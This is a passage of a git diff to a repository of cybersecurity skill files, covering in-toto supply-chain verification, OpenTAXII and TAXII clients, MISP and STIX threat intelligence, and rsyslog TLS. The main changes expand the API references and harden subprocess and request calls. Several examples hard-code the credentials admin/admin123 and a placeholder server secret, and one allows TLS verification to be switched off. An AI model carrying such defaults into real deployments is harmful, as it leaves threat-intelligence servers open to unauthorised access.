2.1)") + parser.add_argument("--collection-id", help="Specific collection ID to fetch") + parser.add_argument("--added-after", help="Only fetch objects added after date (ISO format)") + parser.add_argument("--type", dest="obj_type", + help="Filter by STIX object type (e.g., indicator, malware)") + parser.add_argument("--limit", type=int, default=500, + help="Max objects to retrieve (default: 500)") + parser.add_argument("--discover-only", action="store_true", + help="Only discover collections, don't fetch objects") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + server = connect_taxii_server(args.server, args.username, args.password, args.version) + collections = discover_collections(server, args.version) + + if args.discover_only: + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "STIX/TAXII Client", + "server": args.server, + "collections": collections, + } + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + return + + # Fetch objects from specified or all readable collections + all_objects = [] + for col_info in collections: + if args.collection_id and col_info["id"] != args.collection_id: + continue + if not col_info.get("can_read", True): + continue + try: + if args.version == "2.0": + col = Collection20( + f"{args.server.rstrip('/')}/collections/{col_info['id']}/", + user=args.username, password=args.password + ) + else: + col = Collection21( + f"{args.server.rstrip('/')}/collections/{col_info['id']}/", + user=args.username, password=args.password + ) + objects = fetch_collection_objects(col, args.added_after, args.limit, args.obj_type) + all_objects.extend(objects) + except Exception as e: + print(f"[!] Error fetching {col_info['title']}: {e}") + + type_counts = summarize_stix_objects(all_objects) + indicators = extract_indicators(all_objects) + actors = extract_threat_actors(all_objects) + malware_items = extract_malware(all_objects) + attack_patterns = extract_attack_patterns(all_objects) + + format_summary(type_counts, indicators, actors, malware_items, attack_patterns) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "STIX/TAXII Client", + "server": args.server, + "taxii_version": args.version, + "collections_discovered": len(collections), + "total_objects": len(all_objects), + "type_distribution": type_counts, + "indicators": indicators, + "threat_actors": actors, + "malware": malware_items, + "attack_patterns": attack_patterns, + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md b/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md index dcb1f84b..aa841727 100644 --- a/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md +++ b/skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md @@ -1,27 +1,180 @@ -# API Reference: in-toto supply chain security audit +# API Reference: in-toto Supply Chain Security -## API Details -in-toto-run, in-toto-verify, layout creation, functionary keys, supply chain steps +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `in_toto` | Python reference implementation for supply chain verification | +| `securesystemslib` | Cryptographic key management and signing | +| `subprocess` | Execute `in-toto-run` and `in-toto-verify` CLI commands | +| `json` | Parse link metadata and layout files | ## Installation + ```bash -pip install subprocess +pip install in-toto securesystemslib[crypto] ``` -## Libraries +## CLI Commands -| Library | Use | -|---------|-----| -| `subprocess` | subprocess client/SDK | +### Record a Supply Chain Step +```bash +# Record a build step (creates a link metadata file) +in-toto-run --step-name build \ + --key functionary-key \ + --materials src/ \ + --products dist/ \ + -- make build -## Authentication +# Record a test step +in-toto-run --step-name test \ + --key tester-key \ + --materials dist/ \ + --products test-results/ \ + -- pytest tests/ +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Verify the Supply Chain +```bash +# Verify all steps match the layout +in-toto-verify --layout root.layout \ + --layout-keys project-owner-pub.key +``` + +### Generate Signing Keys +```bash +# Generate an Ed25519 keypair +in-toto-keygen --type ed25519 --output functionary-key +``` + +## Python API + +### Create a Supply Chain Layout +```python +from in_toto.models.layout import Layout, Step, Inspection +from in_toto.models.metadata import Metadata +from securesystemslib.interface import import_ed25519_privatekey_from_file + +# Load the project owner's private key +owner_key = import_ed25519_privatekey_from_file("owner-key") + +# Define the supply chain layout +layout = Layout() +layout.expires = "2026-01-01T00:00:00Z" + +# Step 1: Source code checkout +step_clone = Step(name="clone") +step_clone.expected_materials = [] +step_clone.expected_products = [["CREATE", "src/*"]] +step_clone.pubkeys = [functionary_keyid] +step_clone.expected_command = ["git", "clone", "https://github.com/org/repo.git"] + +# Step 2: Build +step_build = Step(name="build") +step_build.expected_materials = [ + ["MATCH", "src/*", "WITH", "PRODUCTS", "FROM", "clone"] +] +step_build.expected_products = [["CREATE", "dist/*"]] +step_build.pubkeys = [functionary_keyid] + +# Step 3: Test +step_test = Step(name="test") +step_test.expected_materials = [ + ["MATCH", "dist/*", "WITH", "PRODUCTS", "FROM", "build"] +] +step_test.expected_products = [["CREATE", "test-results/*"]] +step_test.pubkeys = [tester_keyid] + +layout.steps = [step_clone, step_build, step_test] + +# Add an inspection (run at verification time) +inspection = Inspection(name="verify-checksums") +inspection.expected_materials = [ + ["MATCH", "dist/*", "WITH", "PRODUCTS", "FROM", "build"] +] +inspection.run = ["sha256sum", "dist/*"] +layout.inspect = [inspection] + +# Sign and write the layout +metadata = Metadata(signed=layout) +metadata.sign(owner_key) +metadata.dump("root.layout") +``` + +### Record a Step Programmatically +```python +from in_toto.runlib import in_toto_run + +# Record a step with materials and products +link = in_toto_run( + name="build", + material_list=["src/"], + product_list=["dist/"], + signing_key=functionary_key, + record_streams=True, + command=["make", "build"], +) +# Saves build.{keyid-prefix}.link +``` + +### Verify the Supply Chain +```python +from in_toto.verifylib import in_toto_verify + +# Verify all steps and inspections +summary = in_toto_verify( + metadata=layout_metadata, + layout_key_dict={owner_keyid: owner_pubkey}, +) +# Raises an exception if verification fails +``` + +### Inspect Link Metadata +```python +from in_toto.models.metadata import Metadata + +link_metadata = Metadata.load("build.abc123.link") +link = link_metadata.signed +print(f"Step: {link.name}") +print(f"Command: {link.command}") +print(f"Materials: {list(link.materials.keys())}") +print(f"Products: {list(link.products.keys())}") +print(f"Return value: {link.byproducts.get('return-value')}") +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **Layout** | Defines the expected supply chain steps, who performs them, and material/product rules | +| **Step** | A single supply chain operation (clone, build, test, package) | +| **Link** | Metadata recorded when a step is actually performed (materials, products, command) | +| **Inspection** | Verification commands run at verification time | +| **Functionary** | A person or CI system authorized to perform a step | +| **Materials** | Input files consumed by a step | +| **Products** | Output files produced by a step | ## Output Format + +### Link Metadata ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "signatures": [{"keyid": "abc123...", "sig": "..."}], + "signed": { + "_type": "link", + "name": "build", + "command": ["make", "build"], + "materials": { + "src/main.py": {"sha256": "a1b2c3..."} + }, + "products": { + "dist/app.tar.gz": {"sha256": "d4e5f6..."} + }, + "byproducts": { + "return-value": 0, + "stdout": "Build successful", + "stderr": "" + } + } +} ``` diff --git a/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py b/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py index b4758bf5..336c1a5b 100644 --- a/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py +++ b/skills/implementing-supply-chain-security-with-in-toto/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """in-toto supply chain security audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md b/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md index ca89887e..3f96afcd 100644 --- a/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md +++ b/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md @@ -13,6 +13,9 @@ author: mahipal license: Apache-2.0 --- + +# Implementing Syslog Centralization with Rsyslog + ## Instructions 1. Install dependencies: `pip install jinja2 paramiko` diff --git a/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py b/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py index dfed7ba2..19271ef2 100644 --- a/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py +++ b/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py @@ -126,7 +126,7 @@ def generate_tls_certificates(output_dir, server_cn, client_cns): "openssl", "req", "-x509", "-newkey", "rsa:4096", "-keyout", ca_key, "-out", ca_cert, "-days", "3650", "-nodes", "-subj", f"/CN=Syslog CA/O=SOC/C=US", - ], capture_output=True, check=True) + ], capture_output=True, check=True, timeout=120) logger.info("Generated CA certificate: %s", ca_cert) for cn in [server_cn] + client_cns: @@ -136,11 +136,11 @@ def generate_tls_certificates(output_dir, server_cn, client_cns): subprocess.run([ "openssl", "req", "-newkey", "rsa:2048", "-keyout", key_file, "-out", csr_file, "-nodes", "-subj", f"/CN={cn}/O=SOC/C=US", - ], capture_output=True, check=True) + ], capture_output=True, check=True, timeout=120) subprocess.run([ "openssl", "x509", "-req", "-in", csr_file, "-CA", ca_cert, "-CAkey", ca_key, "-CAcreateserial", "-out", cert_file, "-days", "365", - ], capture_output=True, check=True) + ], capture_output=True, check=True, timeout=120) logger.info("Generated certificate for %s", cn) return ca_cert diff --git a/skills/implementing-taxii-server-with-opentaxii/SKILL.md b/skills/implementing-taxii-server-with-opentaxii/SKILL.md index 14787676..f6131433 100644 --- a/skills/implementing-taxii-server-with-opentaxii/SKILL.md +++ b/skills/implementing-taxii-server-with-opentaxii/SKILL.md @@ -36,7 +36,7 @@ TAXII supports hub-and-spoke (central server distributes to consumers), peer-to- TAXII transports STIX 2.1 bundles containing Structured Threat Information objects: Indicators (detection patterns), Observed Data, Malware, Attack Patterns, Threat Actors, Intrusion Sets, Campaigns, Relationships, and Sightings. Each object has a unique STIX ID, creation/modification timestamps, and optional TLP marking definitions. -## Practical Steps +## Workflow ### Step 1: Deploy TAXII 2.1 Server with Medallion @@ -310,7 +310,7 @@ def push_to_splunk(iocs, splunk_url, hec_token): f"{splunk_url}/services/collector/event", headers=headers, json=event, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) if resp.status_code != 200: print(f"[-] Splunk HEC error: {resp.text}") diff --git a/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md b/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md index 8703b7dc..68b3be6f 100644 --- a/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md +++ b/skills/implementing-taxii-server-with-opentaxii/references/api-reference.md @@ -1,28 +1,184 @@ -# API Reference: OpenTAXII server configuration audit +# API Reference: OpenTAXII Server -## API Details -TAXII 2.1: GET /taxii2/, GET /api/collections, GET /api/collections/{id}/objects +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `opentaxii` | TAXII 1.x and 2.x server implementation | +| `taxii2-client` | TAXII 2.1 client for testing and integration | +| `stix2` | Create and parse STIX 2.1 objects | +| `requests` | HTTP client for direct API testing | ## Installation + ```bash -pip install taxii2client requests +# Server +pip install opentaxii + +# Client and testing +pip install taxii2-client stix2 requests ``` -## Libraries +## Server Configuration -| Library | Use | -|---------|-----| -| `taxii2client` | taxii2client client/SDK | -| `requests` | requests client/SDK | +### opentaxii.yml +```yaml +--- +persistence_api: + class: opentaxii.persistence.sqldb.SQLDatabaseAPI + parameters: + db_connection: sqlite:////tmp/opentaxii.db + create_tables: true -## Authentication +auth_api: + class: opentaxii.auth.sqldb.SQLDatabaseAuth + parameters: + db_connection: sqlite:////tmp/opentaxii.db + create_tables: true + secret: "change-this-secret-in-production" -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +taxii1: + save_raw_inbox_messages: false + +logging: + opentaxii: info + root: info +``` + +### Start the Server +```bash +# Set config path +export OPENTAXII_CONFIG=/path/to/opentaxii.yml + +# Run the server +opentaxii-run-dev --host 0.0.0.0 --port 9000 + +# Production (with gunicorn) +gunicorn opentaxii.http:app --bind 0.0.0.0:9000 +``` + +## TAXII 2.1 API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/taxii2/` | Server discovery | +| GET | `/{api-root}/` | API root information | +| GET | `/{api-root}/collections/` | List collections | +| GET | `/{api-root}/collections/{id}/` | Get collection details | +| GET | `/{api-root}/collections/{id}/objects/` | Get STIX objects | +| POST | `/{api-root}/collections/{id}/objects/` | Add STIX objects | +| GET | `/{api-root}/collections/{id}/manifest/` | Object manifest | +| GET | `/{api-root}/status/{id}/` | Async operation status | + +## Server Administration + +### Create Collections via CLI +```bash +opentaxii-create-services -c services.yml +opentaxii-create-collections -c collections.yml +opentaxii-create-account --username admin --password admin123 +``` + +### collections.yml +```yaml +--- +- name: "threat-indicators" + id: "collection-001" + description: "Threat intelligence indicators" + type: "DATA_FEED" + accept_all_content: true + can_read: true + can_write: true + +- name: "malware-samples" + id: "collection-002" + description: "Malware sample hashes and metadata" + type: "DATA_SET" + can_read: true + can_write: false +``` + +## Client Operations + +### Discover Server and Collections +```python +from taxii2client.v21 import Server +import os + +server = Server( + os.environ.get("OPENTAXII_URL", "http://localhost:9000/taxii2/"), + user=os.environ.get("TAXII_USER", "admin"), + password=os.environ.get("TAXII_PASS", "admin123"), +) + +for api_root in server.api_roots: + print(f"API Root: {api_root.title}") + for coll in api_root.collections: + print(f" {coll.title} (ID: {coll.id})") + print(f" Read: {coll.can_read} | Write: {coll.can_write}") +``` + +### Push STIX Objects to a Collection +```python +import stix2 +from taxii2client.v21 import Collection + +collection = Collection( + f"http://localhost:9000/collections/collection-001/", + user="admin", + password="admin123", +) + +indicator = stix2.Indicator( + name="Malicious C2 Domain", + pattern="[domain-name:value = 'evil.example.com']", + pattern_type="stix", + valid_from="2025-01-15T00:00:00Z", + labels=["malicious-activity"], +) + +bundle = stix2.Bundle(objects=[indicator]) +collection.add_objects(bundle.serialize()) +``` + +### Fetch Objects from a Collection +```python +objects = collection.get_objects() +for obj in objects.get("objects", []): + print(f" {obj['type']}: {obj.get('name', obj['id'])}") +``` + +## Health Check + +```python +import requests + +resp = requests.get( + "http://localhost:9000/taxii2/", + auth=("admin", "admin123"), + timeout=10, +) +if resp.status_code == 200: + discovery = resp.json() + print(f"Server title: {discovery.get('title')}") + print(f"API roots: {discovery.get('api_roots', [])}") +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "title": "OpenTAXII TAXII 2.1 Server", + "description": "Threat intelligence sharing server", + "api_roots": ["http://localhost:9000/api/"], + "collections": [ + { + "id": "collection-001", + "title": "threat-indicators", + "can_read": true, + "can_write": true, + "media_types": ["application/stix+json;version=2.1"] + } + ] +} ``` diff --git a/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py b/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py index efcfd67c..a46fede4 100644 --- a/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py +++ b/skills/implementing-taxii-server-with-opentaxii/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """OpenTAXII server configuration audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-threat-intelligence-lifecycle-management/SKILL.md b/skills/implementing-threat-intelligence-lifecycle-management/SKILL.md index 1913c6e4..4953489d 100644 --- a/skills/implementing-threat-intelligence-lifecycle-management/SKILL.md +++ b/skills/implementing-threat-intelligence-lifecycle-management/SKILL.md @@ -36,7 +36,7 @@ A collection management framework maps intelligence requirements to collection s Strategic intelligence informs executive decision-making (threat landscape, risk trends, geopolitical context). Operational intelligence supports security operations (campaign tracking, actor TTPs, attack timing). Tactical intelligence enables immediate defense (IOCs, detection rules, blocklists). -## Practical Steps +## Workflow ### Step 1: Define Intelligence Requirements diff --git a/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md b/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md index 305572d8..b2a79a06 100644 --- a/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md +++ b/skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md @@ -1,28 +1,197 @@ -# API Reference: Threat intelligence lifecycle audit +# API Reference: Threat Intelligence Lifecycle Management -## API Details -PyMISP: get_event(), add_event(), search(), stix2: Indicator, Malware, Bundle +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `pymisp` | MISP threat intelligence platform API client | +| `stix2` | Create, parse, and manipulate STIX 2.1 objects | +| `requests` | HTTP client for external TI feed APIs | +| `json` | Parse and serialize intelligence data | ## Installation + ```bash -pip install pymisp stix2 +pip install pymisp stix2 requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `pymisp` | pymisp client/SDK | -| `stix2` | stix2 client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### MISP Connection +```python +from pymisp import PyMISP +import os + +MISP_URL = os.environ["MISP_URL"] +MISP_KEY = os.environ["MISP_API_KEY"] +MISP_VERIFYCERT = os.environ.get("MISP_VERIFY", "True") == "True" + +misp = PyMISP(MISP_URL, MISP_KEY, ssl=MISP_VERIFYCERT) +``` + +## MISP API Operations + +### Search for Events +```python +def search_events(tags=None, date_from=None, published=True): + results = misp.search( + controller="events", + tags=tags, + date_from=date_from, + published=published, + limit=100, + ) + return results +``` + +### Create a Threat Intelligence Event +```python +from pymisp import MISPEvent, MISPAttribute + +def create_ti_event(info, threat_level=2, analysis=1): + event = MISPEvent() + event.info = info + event.threat_level_id = threat_level # 1=High, 2=Medium, 3=Low, 4=Undefined + event.analysis = analysis # 0=Initial, 1=Ongoing, 2=Completed + event.distribution = 1 # 1=This community + created = misp.add_event(event) + return created +``` + +### Add Indicators to an Event +```python +def add_indicators(event_id, indicators): + for ioc in indicators: + attr = MISPAttribute() + attr.type = ioc["type"] # "ip-dst", "domain", "sha256", "url" + attr.value = ioc["value"] + attr.category = ioc.get("category", "Network activity") + attr.to_ids = ioc.get("to_ids", True) + attr.comment = ioc.get("comment", "") + misp.add_attribute(event_id, attr) +``` + +### Search for Specific IOCs +```python +def search_ioc(ioc_type, value): + results = misp.search( + controller="attributes", + type_attribute=ioc_type, + value=value, + ) + return results +``` + +### Tag Management +```python +# Add TLP marking +misp.tag(event_id, "tlp:amber") + +# Add threat actor tag +misp.tag(event_id, "mitre-attack-pattern:T1566.001") + +# Add custom taxonomy +misp.tag(event_id, "adversary:APT29") +``` + +## STIX 2.1 Intelligence Objects + +### Create STIX Indicator +```python +import stix2 + +indicator = stix2.Indicator( + name="Cobalt Strike C2 Domain", + pattern="[domain-name:value = 'c2.evil.example.com']", + pattern_type="stix", + valid_from="2025-01-15T00:00:00Z", + labels=["malicious-activity"], + confidence=85, + external_references=[ + stix2.ExternalReference( + source_name="Internal IR", + description="Observed during incident IR-2025-001", + ) + ], +) +``` + +### Create STIX Threat Actor +```python +threat_actor = stix2.ThreatActor( + name="APT29", + aliases=["Cozy Bear", "The Dukes"], + threat_actor_types=["nation-state"], + roles=["agent"], + sophistication="expert", + resource_level="government", + primary_motivation="espionage", +) +``` + +### Create Relationships and Bundle +```python +relationship = stix2.Relationship( + relationship_type="indicates", + source_ref=indicator.id, + target_ref=threat_actor.id, + confidence=80, +) + +bundle = stix2.Bundle(objects=[indicator, threat_actor, relationship]) +``` + +### Convert MISP Event to STIX +```python +def misp_to_stix(event): + stix_objects = [] + for attr in event.get("Attribute", []): + if attr["type"] == "ip-dst": + stix_objects.append(stix2.Indicator( + name=f"Malicious IP: {attr['value']}", + pattern=f"[ipv4-addr:value = '{attr['value']}']", + pattern_type="stix", + valid_from=attr["timestamp"], + )) + elif attr["type"] == "domain": + stix_objects.append(stix2.Indicator( + name=f"Malicious Domain: {attr['value']}", + pattern=f"[domain-name:value = '{attr['value']}']", + pattern_type="stix", + valid_from=attr["timestamp"], + )) + return stix2.Bundle(objects=stix_objects) +``` + +## Intelligence Lifecycle Phases + +| Phase | MISP Action | STIX Object | +|-------|-------------|-------------| +| Collection | `misp.add_event()` | Bundle | +| Processing | `misp.add_attribute()` | Indicator, ObservedData | +| Analysis | `misp.tag()`, correlations | Relationship, ThreatActor | +| Dissemination | `misp.publish()`, TAXII push | Collection (TAXII) | +| Feedback | `misp.add_sighting()` | Sighting | ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "lifecycle_phase": "analysis", + "events_processed": 42, + "indicators_created": 156, + "stix_objects": { + "indicators": 120, + "threat_actors": 5, + "malware": 8, + "relationships": 95, + "attack_patterns": 23 + }, + "tlp_distribution": { + "tlp:white": 30, + "tlp:green": 45, + "tlp:amber": 65, + "tlp:red": 16 + } +} ``` diff --git a/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py b/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py index 29488bac..b045e6a6 100644 --- a/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py +++ b/skills/implementing-threat-intelligence-lifecycle-management/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Threat intelligence lifecycle audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-threat-intelligence-platform.bak/LICENSE b/skills/implementing-threat-intelligence-platform.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-threat-intelligence-platform.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-threat-intelligence-platform/SKILL.md b/skills/implementing-threat-intelligence-platform.bak/SKILL.md similarity index 100% rename from skills/implementing-threat-intelligence-platform/SKILL.md rename to skills/implementing-threat-intelligence-platform.bak/SKILL.md diff --git a/skills/implementing-threat-intelligence-platform/references/api-reference.md b/skills/implementing-threat-intelligence-platform.bak/references/api-reference.md similarity index 100% rename from skills/implementing-threat-intelligence-platform/references/api-reference.md rename to skills/implementing-threat-intelligence-platform.bak/references/api-reference.md diff --git a/skills/implementing-threat-intelligence-platform/scripts/agent.py b/skills/implementing-threat-intelligence-platform.bak/scripts/agent.py similarity index 100% rename from skills/implementing-threat-intelligence-platform/scripts/agent.py rename to skills/implementing-threat-intelligence-platform.bak/scripts/agent.py diff --git a/skills/implementing-ticketing-system-for-incidents/scripts/agent.py b/skills/implementing-ticketing-system-for-incidents/scripts/agent.py index 71915827..0ebbec13 100644 --- a/skills/implementing-ticketing-system-for-incidents/scripts/agent.py +++ b/skills/implementing-ticketing-system-for-incidents/scripts/agent.py @@ -4,7 +4,7 @@ import json import sys import argparse -from datetime import datetime, timedelta +from datetime import datetime try: import requests @@ -29,7 +29,7 @@ class ServiceNowClient: "urgency": urgency, "impact": impact, "category": category, "assignment_group": "Security Operations", "contact_type": "Automated"} - resp = self.session.post(f"{self.base_url}/table/incident", json=data) + resp = self.session.post(f"{self.base_url}/table/incident", json=data, timeout=30) resp.raise_for_status() result = resp.json().get("result", {}) return {"number": result.get("number"), "sys_id": result.get("sys_id"), @@ -37,14 +37,14 @@ class ServiceNowClient: def update_incident(self, sys_id, update_data): """Update an existing incident.""" - resp = 